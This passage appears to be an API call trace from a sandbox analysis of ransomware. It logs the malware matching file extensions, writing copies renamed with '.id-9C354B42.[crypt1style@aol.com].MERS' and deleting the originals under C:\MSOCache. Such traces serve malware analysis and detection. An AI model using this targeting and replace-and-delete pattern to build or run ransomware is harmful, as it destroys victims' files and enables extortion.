lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.385] lstrlenW (lpString=".jpg") returned 4 [0034.385] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".doc") returned 4 [0034.386] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".docx") returned 5 [0034.386] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.386] lstrlenW (lpString=".pdf") returned 4 [0034.386] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".xls") returned 4 [0034.386] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".xlsx") returned 5 [0034.386] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.386] lstrlenW (lpString=".ppt") returned 4 [0034.386] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".zip") returned 4 [0034.386] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.386] lstrlenW (lpString=".rar") returned 4 [0034.386] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".bz2") returned 4 [0034.386] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString=".7z") returned 3 [0034.386] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".dbf") returned 4 [0034.386] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".1cd") returned 4 [0034.386] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.386] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.386] lstrlenW (lpString=".jpg") returned 4 [0034.386] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.387] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.387] lstrlenW (lpString="WordMUI.xml") returned 11 [0034.387] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.555] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1800) returned 1 [0034.555] CloseHandle (hObject=0x1d8) returned 1 [0034.555] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0034.555] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.555] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.556] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.556] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.556] GetLastError () returned 0x0 [0034.556] ReadFile (in: hFile=0x1d8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x708, lpOverlapped=0x0) returned 1 [0034.736] WriteFile (in: hFile=0x1e0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x710, lpOverlapped=0x0) returned 1 [0034.738] ReadFile (in: hFile=0x1d8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.738] WriteFile (in: hFile=0x1e0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0034.738] SetEndOfFile (hFile=0x1e0) returned 1 [0034.738] CloseHandle (hObject=0x1e0) returned 1 [0034.739] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.739] SetEndOfFile (hFile=0x1d8) returned 1 [0034.739] CloseHandle (hObject=0x1d8) returned 1 [0034.740] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.740] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0034.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.741] lstrlenW (lpString=".doc") returned 4 [0034.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.741] lstrlenW (lpString=".docx") returned 5 [0034.742] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.742] lstrlenW (lpString=".pdf") returned 4 [0034.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.742] lstrlenW (lpString=".xls") returned 4 [0034.742] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.742] lstrlenW (lpString=".xlsx") returned 5 [0034.742] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.742] lstrlenW (lpString=".ppt") returned 4 [0034.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.742] lstrlenW (lpString=".zip") returned 4 [0034.742] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.742] lstrlenW (lpString=".rar") returned 4 [0034.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString=".bz2") returned 4 [0034.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString=".7z") returned 3 [0034.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.743] lstrlenW (lpString=".dbf") returned 4 [0034.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.743] lstrlenW (lpString=".1cd") returned 4 [0034.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.743] lstrlenW (lpString=".jpg") returned 4 [0034.743] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.743] lstrlenW (lpString=".doc") returned 4 [0034.743] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString=".docx") returned 5 [0034.743] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0034.743] lstrlenW (lpString=".pdf") returned 4 [0034.743] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString=".xls") returned 4 [0034.743] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.743] lstrlenW (lpString=".xlsx") returned 5 [0034.743] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0034.743] lstrlenW (lpString=".ppt") returned 4 [0034.743] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.744] lstrlenW (lpString=".zip") returned 4 [0034.744] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.744] lstrlenW (lpString=".rar") returned 4 [0034.744] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.744] lstrlenW (lpString=".bz2") returned 4 [0034.744] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.744] lstrlenW (lpString=".7z") returned 3 [0034.744] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.744] lstrlenW (lpString=".dbf") returned 4 [0034.744] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.744] lstrlenW (lpString=".1cd") returned 4 [0034.744] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0034.744] lstrlenW (lpString=".jpg") returned 4 [0034.744] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.744] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.744] lstrlenW (lpString="Proofing.xml") returned 12 [0034.744] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.745] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=811) returned 1 [0034.745] CloseHandle (hObject=0x1d8) returned 1 [0034.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0034.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.746] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.746] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.746] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.747] GetLastError () returned 0x0 [0034.747] ReadFile (in: hFile=0x1d8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x32b, lpOverlapped=0x0) returned 1 [0034.884] WriteFile (in: hFile=0x1e0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x330, lpOverlapped=0x0) returned 1 [0034.885] ReadFile (in: hFile=0x1d8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.885] WriteFile (in: hFile=0x1e0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.885] SetEndOfFile (hFile=0x1e0) returned 1 [0034.885] CloseHandle (hObject=0x1e0) returned 1 [0034.886] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.886] SetEndOfFile (hFile=0x1d8) returned 1 [0034.887] CloseHandle (hObject=0x1d8) returned 1 [0034.887] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.887] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0034.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.887] lstrlenW (lpString=".doc") returned 4 [0034.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.887] lstrlenW (lpString=".docx") returned 5 [0034.887] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.887] lstrlenW (lpString=".pdf") returned 4 [0034.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.887] lstrlenW (lpString=".xls") returned 4 [0034.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.888] lstrlenW (lpString=".xlsx") returned 5 [0034.888] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.888] lstrlenW (lpString=".ppt") returned 4 [0034.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.888] lstrlenW (lpString=".zip") returned 4 [0034.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.888] lstrlenW (lpString=".rar") returned 4 [0034.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.888] lstrlenW (lpString=".bz2") returned 4 [0034.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.888] lstrlenW (lpString=".7z") returned 3 [0034.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.888] lstrlenW (lpString=".dbf") returned 4 [0034.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.888] lstrlenW (lpString=".1cd") returned 4 [0034.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.888] lstrlenW (lpString=".jpg") returned 4 [0034.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.889] lstrlenW (lpString=".doc") returned 4 [0034.889] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString=".docx") returned 5 [0034.889] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.889] lstrlenW (lpString=".pdf") returned 4 [0034.889] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString=".xls") returned 4 [0034.889] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString=".xlsx") returned 5 [0034.889] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0034.889] lstrlenW (lpString=".ppt") returned 4 [0034.889] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.889] lstrlenW (lpString=".zip") returned 4 [0034.889] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.889] lstrlenW (lpString=".rar") returned 4 [0034.889] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString=".bz2") returned 4 [0034.889] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString=".7z") returned 3 [0034.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.889] lstrlenW (lpString=".dbf") returned 4 [0034.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.890] lstrlenW (lpString=".1cd") returned 4 [0034.890] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.890] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.890] lstrlenW (lpString=".jpg") returned 4 [0034.890] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.890] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0034.890] lstrlenW (lpString="Setup.xml") returned 9 [0034.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.890] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1852) returned 1 [0034.890] CloseHandle (hObject=0x1d8) returned 1 [0034.890] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.890] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0034.890] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0034.891] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.891] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.891] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0034.891] GetLastError () returned 0x0 [0034.891] ReadFile (in: hFile=0x1d8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x73c, lpOverlapped=0x0) returned 1 [0034.909] WriteFile (in: hFile=0x1e0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x740, lpOverlapped=0x0) returned 1 [0034.910] ReadFile (in: hFile=0x1d8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.910] WriteFile (in: hFile=0x1e0, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.910] SetEndOfFile (hFile=0x1e0) returned 1 [0034.910] CloseHandle (hObject=0x1e0) returned 1 [0034.910] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.911] SetEndOfFile (hFile=0x1d8) returned 1 [0034.911] CloseHandle (hObject=0x1d8) returned 1 [0034.911] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0034.912] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.912] lstrlenW (lpString=".doc") returned 4 [0034.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.912] lstrlenW (lpString=".docx") returned 5 [0034.912] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.912] lstrlenW (lpString=".pdf") returned 4 [0034.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.912] lstrlenW (lpString=".xls") returned 4 [0034.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.912] lstrlenW (lpString=".xlsx") returned 5 [0034.912] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.912] lstrlenW (lpString=".ppt") returned 4 [0034.913] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString=".zip") returned 4 [0034.913] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.913] lstrlenW (lpString=".rar") returned 4 [0034.913] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.913] lstrlenW (lpString=".bz2") returned 4 [0034.913] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.913] lstrlenW (lpString=".7z") returned 3 [0034.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.913] lstrlenW (lpString=".dbf") returned 4 [0034.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.913] lstrlenW 